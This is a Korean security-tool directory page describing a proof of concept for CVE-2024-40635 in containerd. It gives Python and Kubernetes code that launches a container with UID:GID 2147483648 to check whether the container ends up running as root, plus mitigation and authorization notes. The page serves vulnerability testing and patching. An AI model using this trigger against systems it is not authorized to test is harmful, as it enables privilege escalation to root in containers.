Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-40635_POC — CVE-2024-40635 취약점 증명을 위한 개념 증명 코드 | Kitploit
도구/GitHubGitHub/yen5004/cve-2024-40635_poc
Container SecurityVulnerability AnalysisExploitationPenetration TestingCloud SecurityLearning & Education
GitHubyen5004/cve-2024-40635_poc

CVE-2024-40635_POC

CVE-2024-40635 취약점 증명을 위한 개념 증명 코드

저장소 보기
1년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-40635_POC

CVE-2024-40635 취약점을 증명하기 위한 개념 증명 코드
데이터 출처: https://nvd.nist.gov/vuln/detail/CVE-2024-40635

1. Docker 라이브러리 가져오기

root@kitploit:~
import docker

Python docker 라이브러리를 가져옵니다. 이 라이브러리는 Docker API를 사용하여 Docker와 상호작용할 수 있게 해줍니다. 이 라이브러리가 설치되어 있지 않다면 다음 명령어로 설치할 수 있습니다:

root@kitploit:~
pip install docker

2. Docker 클라이언트 초기화

root@kitploit:~
client = docker.from_env()

여기서는 docker.from_env() 메서드를 사용하여 Docker 클라이언트 객체를 생성합니다. 이는 머신(또는 설정된 경우 원격 호스트)에서 실행 중인 Docker 데몬에 연결합니다.

3. 취약점 확인 함수 정의

root@kitploit:~
def is_system_vulnerable(container):
    try:
        # Inspect container details
        details = container.attrs
        uid_gid = details['Config']['User']
        print(f"Container UID:GID = {uid_gid}")  # Print the UID:GID
        if uid_gid == "0:0":  # Root UID:GID
            return True
        return False
    except Exception as e:
        print(f"Error checking container details: {e}")
        return False
  • 목적: 이 함수는 생성된 컨테이너의 속성을 검사하여 시스템이 취약한지 확인합니다.

  • 주요 단계:

    • container.attrs: 컨테이너에 대한 모든 메타데이터(구성, 런타임 설정 등)를 가져옵니다.

    • details['Config']['User']: 컨테이너가 실행되는 UID:GID(사용자 및 그룹 ID)를 추출합니다. 이 속성이 테스트 대상입니다.

    • print(f"Container UID:GID = {uid_gid}"): 가시성을 위해 항상 UID:GID를 출력합니다.

    • 취약점 확인: UID:GID가 "0:0"이면 컨테이너가 루트 권한으로 실행되고 있음을 나타내며 시스템이 취약합니다.

4. Docker 컨테이너 실행

root@kitploit:~
container = client.containers.run(
    "vulnerable-image",  # Replace with your test image
    user="2147483648:2147483648",  # UID:GID exceeding 32-bit signed integer
    detach=True
)
  • client.containers.run: Docker 컨테이너를 생성하고 시작합니다.

    • "vulnerable-image": 실제 테스트에 적합한 Docker 이미지 이름으로 바꾸세요.

    • user="2147483648:2147483648": 여기서는 사용자 및 그룹 ID(UID:GID)를 사용자 지정 값으로 설정합니다. 이 값은 32비트 부호 있는 정수 범위를 초과하며, 이는 취약점의 트리거 조건입니다.

    • detach=True: 컨테이너가 백그라운드에서 실행되도록 하여 스크립트가 컨테이너 실행 완료를 기다리지 않고 계속 진행할 수 있습니다.

5. 오류 확인

root@kitploit:~
try:
    ...
except Exception as e:
    print(f"Error: {e}")

이 try-except 블록은 컨테이너 생성 또는 실행 중 발생하는 오류를 포착하여 출력함으로써 스크립트가 갑자기 종료되는 것을 방지합니다.

6. 컨테이너 ID 출력

root@kitploit:~
print(f"Container {container.id} started.")

컨테이너가 성공적으로 생성되고 시작되면 고유 ID가 참조용으로 출력됩니다. 이는 디버깅 또는 컨테이너 추가 검사에 유용합니다.

7. 취약점 확인 호출

root@kitploit:~
if is_system_vulnerable(container):
    print("System is vulnerable: Container is running as root!")
else:
    print("System is not vulnerable.")

생성된 컨테이너를 인자로 전달하여 is_system_vulnerable 함수를 호출합니다.

결과(True는 취약, False는 취약하지 않음)에 따라 해당 메시지를 출력합니다.

8. 출력 세부 정보

이 스크립트는 출력에 다음을 포함한 상세 정보를 제공하도록 설계되었습니다:

  • 컨테이너에 할당된 UID:GID.

  • 시스템이 취약한지 여부에 대한 명확한 표시.

예제 워크스루:

테스트 환경에서 이 스크립트가 실행되고 다음과 같은 상황이 발생한다고 가정해 봅시다:

  1. 취약한 이미지와 사용자 2147483648:2147483648를 사용하여 컨테이너가 생성됩니다.
  2. 취약점 확인 중에 시스템이 이 ID를 0:0(루트)로 해석하여 컨테이너가 루트 권한으로 실행됩니다.
  3. 스크립트가 이 동작을 식별하여 다음을 출력합니다:
root@kitploit:~
Container abc123 started.
Container UID:GID = 0:0
System is vulnerable: Container is running as root!

반대로 시스템이 큰 UID:GID 값을 올바르게 처리하여 루트로 매핑하지 않는다면 다음과 같은 결과를 볼 수 있습니다:

root@kitploit:~
Container xyz456 started.
Container UID:GID = 2147483648:2147483648
System is not vulnerable.

테스트 참고 사항:

  • 프로덕션 시스템에 위험을 초래하지 않도록 격리된 환경(예: VM)을 사용하세요.
  • "vulnerable-image"를 테스트 시나리오에 적합한 Docker 이미지(예: 종속성이 최소인 이미지)로 바꾸세요.
  • Docker가 설치되어 있고 Python 환경에서 접근 가능한지 확인하세요.

환경 내에서 실행

이 개념 증명(PoC)을 침투 테스트를 위해 Kubernetes 및 Harbor와 같은 실제 환경에서 실행하려면 테스트가 통제되고 윤리적이며 영향력 있도록 신중한 계획이 필요합니다. 이를 수행하는 방법은 다음과 같습니다.

1. 계획 및 준비 범위 이해: 테스트 경계를 정의하십시오. 실제 환경에서 침투 테스트를 수행할 수 있는 명시적 권한이 있는지 확인하십시오.

2. 백업: 테스트가 가용성이나 데이터에 영향을 줄 수 있으므로 중요 시스템과 컨테이너의 백업을 생성하십시오.

3. 테스트 환경: 프로덕션 워크로드에 영향을 주지 않도록 Kubernetes 내에 PoC 전용 네임스페이스나 클러스터를 설정하십시오.

  1. 테스트에 Kubernetes 사용 다음은 PoC를 Kubernetes에 통합하는 방법입니다: a. 취약한 버전 배포
  • Kubernetes 클러스터 내에 취약한 버전의 containerd(v1.6.35-gke.0)를 사용하는 컨테이너를 배포하십시오.

  • 공격 표면을 최소화하기 위해 종속성이 최소인 Docker 이미지(예: "vulnerable-image")를 사용하십시오.

Kubernetes 배포를 위한 예제 YAML:

root@kitploit:~
apiVersion: v1
kind: Pod
metadata:
  name: vulnerable-pod
  namespace: pentest
spec:
  containers:
  - name: vulnerable-container
    image: vulnerable-image  # Replace with your test image
    securityContext:
      runAsUser: 2147483648  # Intentionally exceed 32-bit signed integer
      runAsGroup: 2147483648

다음 명령어로 YAML을 적용하십시오:

root@kitploit:~
kubectl apply -f pod.yml

b. PoC로 확인

  • Kubernetes 클러스터에 접근할 수 있는 머신에서 개발한 Python 스크립트를 실행하십시오. 예를 들어, kubernetes Python 라이브러리를 사용하여 Kubernetes와 상호작용하도록 스크립트를 수정할 수 있습니다.

  • 다음 명령어로 설치하십시오:

root@kitploit:~
pip install kubernetes

Kubernetes를 통합하기 위한 업데이트된 코드 조각은 다음과 같습니다:

root@kitploit:~
from kubernetes import client, config

# Load Kubernetes configuration
config.load_kube_config()

# Create a Kubernetes API client
v1 = client.CoreV1Api()

# Check UID:GID for the specified pod
def check_pod_user(pod_name, namespace):
    pod = v1.read_namespaced_pod(name=pod_name, namespace=namespace)
    uid = pod.spec.containers[0].security_context.run_as_user
    gid = pod.spec.containers[0].security_context.run_as_group
    print(f"Pod {pod_name} UID:GID = {uid}:{gid}")
    if uid == 0 and gid == 0:
        print("System is vulnerable: Pod is running as root!")
    else:
        print("System is not vulnerable.")

check_pod_user("vulnerable-pod", "pentest")
  1. 이미지 관리를 위해 Harbor 사용 Harbor는 컨테이너 레지스트리이므로 다음을 수행할 수 있습니다:
  • 취약한 이미지 푸시: 취약한 이미지에 태그를 지정하고 Harbor로 푸시하십시오:
root@kitploit:~
docker tag vulnerable-image harbor.local/vulnerable-image:latest
docker push harbor.local/vulnerable-image:latest
  • 테스트용 이미지 가져오기: YAML 파일의 image 필드에 Harbor 전체 경로를 지정하여 Kubernetes Pod가 Harbor의 이미지를 사용하도록 하십시오.

Harbor를 사용하면 이미지 접근을 제어할 수 있으므로, 취약한 이미지가 침투 테스트에서만 사용되도록 접근을 제한하십시오.

  1. 결과 검증 및 문서화
  • 검증: PoC 실행 후 로그에서 취약점이 트리거되었는지 확인하십시오. 예를 들어, 컨테이너(또는 Pod)가 루트로 실행되고 있는지 확인하십시오.

  • 문서화: 다음과 같은 발견 사항을 기록하십시오:

    • 컨테이너 또는 Pod에 할당된 UID:GID.
    • 시스템이 취약한지 여부를 나타내는 로그 또는 출력.
    • 완화 조치에 대한 권장 사항(예: containerd를 수정된 버전으로 업그레이드).
  1. 완화 테스트가 완료되면:
  • containerd를 수정된 버전(1.6.38 이상)으로 업그레이드하여 환경에 패치를 적용하십시오.
  • 안전하지 않은 UID:GID 구성을 가진 컨테이너가 실행되지 않도록 보안 정책(예: PodSecurityPolicy 또는 Open Policy Agent 사용)을 적용하십시오.

주의

  • 테스트는 통제된 환경이나 명시적 권한이 있는 환경에서만 수행하십시오.
  • 취약한 이미지가 테스트 환경을 벗어나 배포되지 않도록 하십시오.
  • 민감한 발견 사항은 조직에 책임감 있게 보고하십시오.
도구 다운로드